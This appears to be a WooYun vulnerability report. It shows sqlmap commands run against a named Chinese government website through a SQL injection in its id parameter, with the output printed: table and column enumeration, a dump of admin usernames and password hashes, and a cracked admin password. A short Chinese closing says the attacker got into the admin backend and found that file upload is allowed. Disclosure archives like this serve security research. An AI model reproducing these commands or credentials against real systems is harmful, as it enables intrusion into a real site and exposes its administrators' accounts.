WooYun.org

E:\sqlmap>sqlmap.py -u http://www.yfjcy.gov.cn/owen/?id=1582 --tables
Database: Microsoft_Access_masterdb
[3 tables]
+-------+
| admin |
| news |
| users |
+------
E:\sqlmap>sqlmap.py -u http://www.yfjcy.gov.cn/owen/?id=1582 --columns -T adm
in
Database: Microsoft_Access_masterdb
Table: admin
[7 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| user | non-numeric |
| id | numeric |
| question | non-numeric |
| title | non-numeric |
| userid | numeric |
| username | non-numeric |
| userpwd | non-numeric |
+----------+-------------+
E:\sqlmap>sqlmap.py -u http://www.yfjcy.gov.cn/owen/?id=1582 --dump -C "user
name,userpwd" -T admin
+------+--------+-------+--------+---------------------------------+----------+-
-----------------+
| id | userid | title | user | username | question |
userpwd |
+------+--------+-------+--------+---------------------------------+----------+-
-----------------+
| 1582 | 43 | <blank> | admin | howell | <blank>
| 3074a84978fc9732 |
| 1582 | 49 | <blank> | admin | hhy | <blank>
| 4384298962649e58 |
| 1582 | 59 | <blank> | admin | admin | <blank>
| 8fdb42fed0bc7769 |
| 1582 | 61 | <blank> | admin | l_t\x06 | <blank>
| 965eb72c92a549dd |
| 1582 | 62 | <blank> | admin | g\\?97l_\x7f\\?a4Roh\\?c0[\\?df | <blank>
| 965eb72c92a549dd |
| 1582 | 63 | <blank> | admin | 965eb72c92a549dd |
+------+--------+-------+--------+---------------------------------+----------+-
得到其中一个账号
admin
07668989
进入后台：

竟然有上传文件权限，，
我杀都不说了，，